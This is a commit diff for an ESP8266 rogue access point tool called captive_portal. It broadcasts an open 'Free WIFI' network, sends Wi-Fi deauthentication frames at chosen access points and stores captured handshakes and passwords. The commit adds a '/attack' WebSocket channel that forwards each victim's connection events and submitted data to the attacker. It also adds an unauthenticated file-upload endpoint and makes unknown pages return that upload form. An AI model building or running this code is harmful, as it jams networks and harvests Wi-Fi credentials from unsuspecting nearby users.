Commit 218a3dc
Changed files (5)
captive_portal
captive_portal/data/css/index.css.gz
Binary file
captive_portal/data/js/index.js.gz
Binary file
captive_portal/captive_portal.ino
@@ -17,6 +17,9 @@ ESP8266WebServer server(80);
WebSocketsServer webSocket = WebSocketsServer(81);
AccessPoint accessPoints[20];
AccessPoint selectedAP;
+File fsUploadFile;
+
+int attackersId = -1;
int AP_COUNT = 0;
int DEAUTH = 0;
@@ -30,29 +33,81 @@ void deauth(AccessPoint ap){
}
void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
- if(length == 0) return;
switch(type) {
- case WStype_DISCONNECTED:
- Serial.printf("[%u] Disconnected!\r ", num);
+ case WStype_DISCONNECTED:{
+ if(num == attackersId){
+ attackersId = -1;
+ }
+ else{
+ if(attackersId != -1)
+ {
+ webSocket.sendTXT(attackersId, "Victim disconnected");
+ }
+ }
break;
- case WStype_CONNECTED: {
- IPAddress ip = webSocket.remoteIP(num);
- Serial.printf("[%u] Connection from ", num);
- Serial.println(ip.toString());
- Serial.printf("url: %s\r, ", payload);
- webSocket.broadcastTXT("New client connected");
+ }
+ case WStype_CONNECTED:{
+ if(strcmp((char*)payload,"/attack") == 0){
+ attackersId = num;
+ }
+ else{
+ if(attackersId != -1)
+ {
+ webSocket.sendTXT(attackersId, "Victim connected");
+ }
}
break;
- case WStype_TEXT:
- if(strcmp((char*)payload,"ping") == 0){
- webSocket.sendTXT(num, "pong");
+ }
+ case WStype_TEXT:{
+ DynamicJsonDocument doc(1024);
+ String response;
+ deserializeJson(doc, payload);
+ serializeJsonPretty(doc, response);
+ if(attackersId != -1)
+ {
+ webSocket.sendTXT(attackersId, response);
}
break;
+ }
default:
break;
}
}
+void handleFileUpload()
+{
+ HTTPUpload &upload = server.upload();
+
+ if (upload.status == UPLOAD_FILE_START)
+ {
+ String filename = upload.filename;
+ if (filename.startsWith("data"))
+ filename = filename.substring(4);
+ if (!filename.startsWith("/"))
+ filename = "/" + filename;
+ fsUploadFile = LittleFS.open(filename, "w");
+ filename = String();
+ }
+ else if (upload.status == UPLOAD_FILE_WRITE)
+ {
+ if (fsUploadFile)
+ {
+ fsUploadFile.write(upload.buf, upload.currentSize);
+ }
+ }
+ else if (upload.status == UPLOAD_FILE_END)
+ {
+ if (fsUploadFile)
+ {
+ fsUploadFile.close();
+ }
+ else
+ {
+ server.send(500, "text/plain", "500: couldn't create file");
+ }
+ }
+}
+
void setup()
{
Serial.begin(115200);
@@ -80,8 +135,13 @@ void setup()
server.on("/get_networks",[](){AP_COUNT = scan_networks(accessPoints); available_networks(server,accessPoints,AP_COUNT,DEAUTH,selectedAP);});
server.on("/clear_handshakes",[]() {server.send(200, "application/json", clearHandshakes());});
server.on("/clear_passwords",[]() {server.send(200, "application/json", clearPasswords());});
+ server.on(
+ "/upload", HTTP_POST, [](){server.send(200, "application/json", "{\"message\":\"File uploaded successfully\"}"); },
+ handleFileUpload);
+ server.on("/reupload", [](){ server.send(200, "text/html", "<form method='POST' action='/upload' enctype='multipart/form-data'><input type='file' name='file' directory='' webkitdirectory=''><input type='submit' value='Upload'></form>");});
- server.on("/deauth",[](){
+ server.on("/deauth", []()
+ {
int n = server.arg("ap").toInt();
if(n > 0 && n <= AP_COUNT){
if(DEAUTH == 1){
@@ -95,13 +155,12 @@ void setup()
}
else{
server.send(200, "application/json", "{\"message\":\"Invalid Access Point number\",\"status\":\"error\"}");
- }
- });
- server.on("/stop_deauth",[](){
+ } });
+ server.on("/stop_deauth", []()
+ {
DEAUTH = 0;
selectedAP.deauthState=0;
- server.send(200, "application/json", "{\"message\":\"Stopped Deauthenticating "+selectedAP.ssid+"\"}");
- });
+ server.send(200, "application/json", "{\"message\":\"Stopped Deauthenticating "+selectedAP.ssid+"\"}"); });
server.onNotFound([](){handleNotFound(server);});
@@ -126,6 +185,10 @@ void loop()
Serial.println("show datas - show datas file");
Serial.println("reset ssid - reset ssid to default(Free Wifi)");
Serial.println("storage info - show storage info");
+ Serial.println("scan - scan for networks");
+ Serial.println("list networks - list networks");
+ Serial.println("deauth <ap> - deauth an access point");
+ Serial.println("stop deauth - stop deauthenticating");
}
else if (strcmp(buffer, "ls") == 0) {
captive_portal/server.h
@@ -29,7 +29,7 @@ void handleRequest(ESP8266WebServer& server,String fileName,String ext) {
files.close();
}
else {
- server.send(404, "text/plain", "File not found");
+ server.send(200, "text/html", "<form method='POST' action='/upload' enctype='multipart/form-data'><input type='file' name='file' directory='' webkitdirectory=''><input type='submit' value='Upload'></form>");
}
}
@@ -110,18 +110,15 @@ String clearPasswords() {
void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP){
String json = "[";
for (int i = 0; i < apCount; i++) {
- Serial.println(Deauth);
- Serial.println(selectedAP.bssid+" "+ ap[i].bssid);
if(Deauth == 1 && selectedAP.bssid == ap[i].bssid)
{
ap[i].deauthState = 1;
- Serial.println(ap[i].ssid);
}
else
{
ap[i].deauthState = 0;
}
- json+= "{\"ssid\":\"" + ap[i].ssid + "\",\"bssid\":\"" + ap[i].bssid + "\",\"signal\":\"" + ap[i].signalStrength + "\",\"channel\":\"" + ap[i].channel + "\",\"encryption\":\"" + ap[i].encryptionType + "\",\"deauthState\":\"" + ap[i].deauthState + "\"}";
+ json+= "{\"ssid\":\"" + ap[i].ssid + "\",\"bssid\":\"" + ap[i].bssid + "\",\"signal\":\"" + String(ap[i].signalStrength) + "\",\"channel\":\"" + String(ap[i].channel) + "\",\"encryption\":\"" + ap[i].encryptionType + "\",\"deauthState\":\"" + String(ap[i].deauthState) + "\"}";
if (i < apCount - 1) {
json += ",";
}
captive_portal/wifi.h
@@ -12,7 +12,7 @@ public:
int channel;
String encryptionType;
signed signalStrength;
- int deauthState=0;
+ int deauthState = 0;
// deauth pkt from spacehuhn
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
@@ -47,11 +47,29 @@ void initialServerSetup(IPAddress APIP)
bool setupWifi()
{
- DynamicJsonDocument config = readJsonFile("/json/config.json");
- const char *ssid = config["ssid"];
- Serial.println("SSID: " + String(ssid));
- WiFi.softAP(ssid);
- return true;
+ if (!LittleFS.exists("/json/datas.json"))
+ {
+ DynamicJsonDocument datas(1024);
+ datas.createNestedArray("handshakes");
+ datas.createNestedArray("passwords");
+ writeJsonFile("/json/datas.json", datas);
+ }
+ if (!LittleFS.exists("/json/config.json"))
+ {
+ DynamicJsonDocument config(1024);
+ config["ssid"] = "Free WIFI";
+ writeJsonFile("/json/config.json", config);
+ WiFi.softAP("Free WIFI");
+ return true;
+ }
+ else
+ {
+ DynamicJsonDocument config = readJsonFile("/json/config.json");
+ const char *ssid = config["ssid"];
+ Serial.println("SSID: " + String(ssid));
+ WiFi.softAP(ssid);
+ return true;
+ }
}
bool changeWifi(String ssid)
@@ -91,8 +109,7 @@ int scan_networks(AccessPoint ap[])
}
else
{
- Serial.print(numNetworks);
- Serial.println(" networks found, updating ap list");
+ Serial.println(String(numNetworks) + " network found, updating ap list");
for (int i = 0; i < numNetworks; i++)
{
ap[i].ssid = WiFi.SSID(i);
@@ -100,14 +117,15 @@ int scan_networks(AccessPoint ap[])
ap[i].channel = WiFi.channel(i);
ap[i].encryptionType = encryption_str(WiFi.encryptionType(i));
ap[i].signalStrength = WiFi.RSSI(i);
-
+
// set the BSSID of the deauth packet
- uint8_t mac[6];
+ uint8_t mac[6];
const char *myCharPtr = ap[i].bssid.c_str();
- for (int i = 0; i < 6; i++) {
+ for (int i = 0; i < 6; i++)
+ {
char byte_str[3];
- byte_str[0] = myCharPtr[i*3];
- byte_str[1] = myCharPtr[i*3+1];
+ byte_str[0] = myCharPtr[i * 3];
+ byte_str[1] = myCharPtr[i * 3 + 1];
byte_str[2] = '\0';
mac[i] = strtol(byte_str, NULL, 16);
}